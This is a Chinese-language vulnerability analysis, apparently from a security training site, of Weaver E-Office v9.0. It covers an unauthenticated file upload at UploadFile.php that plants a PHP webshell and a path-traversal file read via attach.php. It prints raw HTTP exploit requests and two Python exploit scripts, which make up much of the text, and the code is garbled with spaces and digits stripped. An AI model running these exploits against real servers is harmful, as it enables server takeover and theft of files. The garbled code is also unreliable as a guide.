漏洞简介
泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微E-Office未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件
漏洞影响范围E-officeServer_v9.0
默认安装位置是d:\eoffice在虚拟机内安装没有D盘,所以安装位置是c:\eoffice
安装完成后,服务默认在端口通过主机名或ip地址都可以访问到
代码位置在C:\eoffice\webroot同样代码也是被加密了的
通过免费的解密网站获得了加密的具体信息ZEND加密PHP5.2版本
利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击KeymouseGo
任意文件上传漏洞
漏洞利用
/general/index/UploadFile.php?m=uploadPictureuploadType=eoffice_logouserId=
POST/general/index/UploadFile.php?m=uploadPictureuploadType=eoffice_logouserId=HTTP/1.1Host:10.0.21.14:Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/.36(KHTML,likeGecko)Chrome/85.0..83Safari/.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9Connection:closeContent-Type:multipart/form-data;boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3Content-Length:------WebKitFormBoundaryykJoMlQs3JMOsgi3Content-Disposition:form-data;name="Filedata";filename="1.php"?phpphpinfo();?------WebKitFormBoundaryykJoMlQs3JMOsgi3--
上传文件的地址
漏洞的主要位于general/index/UploadFile.php
通过$_GET方法获取的参数m,调用UploadFile中的任意方法
我们选择其中的uploadPicture方法
没有对传入的文件进行过滤,如果传入一个php文件,命名为1.php最后上传文件会变为logo-eoffice.php传入的位置是$_SERVER[DOCUMENT_ROOT]."/images/logo/"
利用脚本
importsysimportrequestsdefrequest_shell(url):targeturl=url+"/images/logo/logo-eoffice.php"response=requests.get(targeturl)if(response.status_code==):print("获取shell成功,shell地址为:"+targeturl)defrequest_upload(url,data):targeturl=url+"/general/index/UploadFile.php?m=uploadPictureuploadType=eoffice_logouserId="targetfile={Filedata:(upload.php,data,text/plain)}response=requests.post(url=targeturl,files=targetfile)if(response.status_code==):print("上传成功")defread_uploadfile(url,filename):withopen(filename)asf:data=f.read()request_upload(url,data)defupload_file(url,filename):if(filename=="phpinfo.php"):data="?phpphpinfo();?"request_upload(url,data)else:read_uploadfile(url,filename)defmain():iflen(sys.argv)3:print("Usage:upload_file.pytargeturlfilename\n""Example:pythonupload_file.py
GET/inc/attach.php?path=/../../../../../1.txtHTTP/1.1Host:10.0.21.14:Origin:
漏洞分析
inc/attach.php
直接传入参数$path最后会读取$path的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了跳转,通过burpsuite就可以访问到,攥写脚本禁止跳转也可以读取出来。
漏洞的主要来源位于
我们看一下文件的下载链接
利用脚本
importsysimportrequestsimportredefsave_reponse(re_result,filename):filename=re.findall("[^/]+$",filename)[0]#print(filename)withopen(filename,w,encoding=gb)asf:f.write(re_result)defre_response(response):re_result=response[7:]returnre_resultdefread_file(url,filename):targeturl=url+"/inc/attach.php?path="+filenameresponse=requests.get(url=targeturl,allow_redirects=False)#print(response.text)re_result=re_response(response.text)print(re_result)save_reponse(re_result,filename)defmain():iflen(sys.argv)3:print("Usage:upload_file.pytargeturlfilename\n""Example:pythonread_file.py
还有一些SQL注入漏洞,还可以继续进一步的进行审计分析。
更多靶场实验练习、网安学习资料,请访问合天网安实验室。